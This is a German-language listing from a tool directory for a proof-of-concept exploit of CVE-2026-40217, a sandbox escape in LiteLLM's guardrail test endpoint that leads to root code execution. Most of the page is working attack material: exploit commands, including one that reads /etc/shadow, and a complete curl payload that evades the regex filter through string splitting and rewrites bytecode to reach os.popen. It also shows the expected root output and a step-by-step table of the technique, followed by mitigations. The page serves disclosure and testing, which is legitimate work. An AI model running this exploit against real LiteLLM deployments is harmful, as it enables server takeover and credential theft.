Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40217-PoC — Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle | Kitploit
Tools/GitHubGitHub/learner202649/cve-2026-40217-poc
Container-SicherheitSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle

Repository anzeigen
4vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-40217 — LiteLLM Guardrail Sandbox Escape

LiteLLM POST /guardrails/test_custom_code — Sandbox Escape, der zu Remote Code Execution (RCE) als root in der Standard-Docker-Bereitstellung führt.

FeldWert
CVECVE-2026-40217
CVSS8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (Unzureichende Kontrolle dynamisch verwalteter Code-Ressourcen) / CWE-94
BetroffenLiteLLM ≤ 2026-04-08 (pre-v1.83.11)
Behobenv1.83.11+ (ersetzt handgebaute Sandbox durch RestrictedPython)
EntdeckerMarkus Vervier — X41 D-Sec GmbH
Veröffentlicht2026-04-08
LinkX41 Advisory • GHSA-wxxx-gvqv-xp7p • oss-security

Beschreibung

Der Endpunkt POST /guardrails/test_custom_code in LiteLLM erlaubt authentifizierten Benutzern, beliebigen Python-Code zum Testen von Guardrails einzureichen. Der Endpunkt versucht, gefährliche Operationen durch regex-basierte Quellcode-Filterung einzuschränken, was jedoch durch CPython-Bytecode-Rewriting-Techniken vollständig umgangen werden kann, was zu beliebiger Codeausführung im Proxy-Prozess führt. Im Standard-Docker-Image läuft der Proxy als root, was die Auswirkungen verstärkt.


Proof of Concept

Voraussetzungen

root@kitploit:~
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

Schnellstart (Docker)

⚠️ Wichtig: Die docker-compose.yml fixiert das angreifbare Image auf einen bestimmten Digest (sha256:7c311546...) vom 22. März 2026. Ändern Sie den Tag nicht auf main-latest oder eine neuere Version – spätere Images könnten bereits den Fix (RestrictedPython) enthalten, selbst wenn die Versionsnummer etwas anderes suggeriert (z. B. wurde v1.83.10-stable nach dem Patch neu gebaut und ist nicht angreifbar).

root@kitploit:~
# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

Erwartetes Ergebnis

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

Sandbox-Escape-Technik (6 Schritte)


Repository-Struktur

root@kitploit:~
CVE-2026-40217/
├── README.md                  # Diese Datei
├── docker-compose.yml         # Ein-Kommando-angreifbare Umgebung
├── requirements.txt           # Abhängigkeiten
├── exploit/
│   ├── exploit.py             # Vollständiges Exploit-Skript
│   └── payload.py             # Bytecode-Payload-Modul
├── docs/
│   └── advisory.md            # Übersetzte Advisory-Details
└── screenshots/               # Nachweis-Screenshots

Gegenmaßnahmen

  1. Upgrade auf LiteLLM v1.83.11+ (verwendet RestrictedPython statt handgebauter Sandbox)
  2. Blockieren Sie /guardrails/test_custom_code an Ihrem Reverse-Proxy / API-Gateway
  3. Beschränken Sie den Master-Key auf vertrauenswürdige Administratoren
  4. Als Nicht-Root in Docker ausführen: docker run --user 1000:1000 ...
  5. Setzen Sie die Verwaltungsschnittstelle keinen unsicheren Netzwerken aus

Referenzen

  • X41 D-SEC Advisory x41-2026-001
  • GitHub Advisory GHSA-wxxx-gvqv-xp7p
  • GitLab Advisory
  • oss-security disclosure
  • NVD Detail

Haftungsausschluss: Dieser Inhalt wird nur zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.

Tool herunterladen
SchrittTechnikCode
1Regex-Umgehung via String-Verkettung"_"+"_gl"+"ob"+"als"+"_"+"_"
2Erhalte object-Klasse via str.mro()[1]obj = str.mro()[1]
3Zugriff auf Generator-Code-Objekt via gi_codec = g(None).gi_code
4Ersetze __code__ der Funktion via object.__setattr__obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5Extrahiere echte builtins aus http_get.__globals__imp = gd["__builtins__"]["__import__"]
6Erreiche RCE via os.popenimp("os").popen("id").read()